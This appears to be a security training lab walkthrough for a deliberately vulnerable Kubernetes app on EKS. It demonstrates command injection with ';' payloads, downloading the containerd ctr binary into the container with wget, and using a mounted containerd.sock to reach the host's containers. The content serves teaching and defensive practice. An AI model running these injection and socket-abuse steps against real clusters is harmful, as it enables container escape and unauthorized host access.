Skip to content

Scenario: ContainerD Abuse

Prerequisites

  • Playground One EKS EC2 Cluster
  • Vision One Container Security
  • Playground One Scenarios
    • Running app: System Monitor

Ensure to have the EKS EC2 Cluster including the Scenarios up and running:

pgo --apply eks-ec2
pgo --apply scenarios-ec2

Attribution

This scenario is based on Kubernetes Goat but heavily adapted to work an Playground One and EKS.

Disclaimer

Note: It is highly recommended to have the awsone.access_ip set to a single IP or at least a small CIDR before deploying the EKS cluster. This will prevent anonymous users playing with your environmnent. Remember: we're using vulnerable apps.

Overview

In this scenario, we will be focusing on the common and standard ways how to build systems and pipelines that leverage container sockets to create, build and run containers from the underlying container runtime. This has been exploited since the early days of the container ecosystem and even today we see these misconfigurations/use cases in the real world.

By the end of the scenario, you will understand and learn the following:

  • You will learn to test and exploit the container UNIX socket misconfigurations
  • Able to exploit container and escape out of the container
  • Learn about ContainerD
  • Learn common misconfigurations in pipelines and CI/CD build systems

The story

Most of the CI/CD and pipeline systems use the underlying host Docker runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit a very similar misconfiguration and gain access to the host system by escaping out of the container.

Note: To get started with the scenario, navigate to http://<loadbalancer_dns_health_check>

Goals

The goal of this scenario is to escape out of the running container to the host system where the container is running and able to access and perform actions on the host system.

Tip: If you are able to obtain containers running in the host system then you have completed this scenario. But definitely, you can advance beyond this exploitation as well by performing post-exploitation, e.g. spinning up an additional container.

Hints

Click here ✨ Do you know how to run multiple commands in Linux?

The application running here has command injection vulnerability. You can exploit this by using the ; delimiter when passing the input 🙌

✨ Able to run system commands, not sure how to access containers?

Identify the mounted UNIX socket volume, and use `ctr` binary to communicate with that with -H flag 🎉

Solution & Walkthrough

Click here Start by checking that DNS resolution is working for your cluster. If this doesn't work, check to see if you have a DNS service like CoreDNS running on your cluster.
www.google.com
By looking at the application functionality and dabbling with the input and output, we can see it has standard command injection vulnerability. Assuming it's running in a Linux container we can use the `;` delimiter to run/pass other commands
127.0.0.1; id
As we can see it returns the response for the `id` command, now we can analyze the system and see what potential information we can obtain.

It contains `/containerd.sock` mounted into the file system as it's not available commonly in standard systems
; mount
Wow! We can see the `/custom/containerd/containerd.sock` mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket via gRPC.

Note: We can use multiple methods for communicating with the `containerd.sock` UNIX socket. Some of them include [official containerd binary](https://containerd.io/downloads/), or a simple `grpcurl` program as well.

The easiest way to interact with containerd is to use the `ctr` command. We can download the official `ctr` static binary from the internet [https://containerd.io/downloads/](https://containerd.io/downloads/).

Then download the appropriate containerd binary to the container. We can use the following command (takes some time, be patient).
; wget https://github.com/containerd/containerd/releases/download/v1.6.20/containerd-1.6.20-linux-amd64.tar.gz -O /tmp/containerd-1.6.20.tgz
We can extract the binary from the `containerd-1.6.20.tgz` file so that we can use that to talk to the UNIX socket
; tar -xvzf /tmp/containerd-1.6.20.tgz -C /tmp/ bin/ctr
Now we can access the host system by running the following containerd commands with passing `containerd.sock` containerd's gRPC server. Let's check what is running from kubernetes.
; /tmp/bin/ctr -a /custom/containerd/containerd.sock -n=k8s.io containers ls
Hooray 🥳, now we can see that it has a lot of containers are running in the host system. We can now use different ctr commands to gain more access and further exploitation.

🎉 Success 🎉

If you'd like to create containers now, try it. Be beware of the fact that the design of containerd is that clients should be local to the daemon. Running a client in a container is effectively non-local without some very specific configuration (which will vary depending on what you are trying to do).

References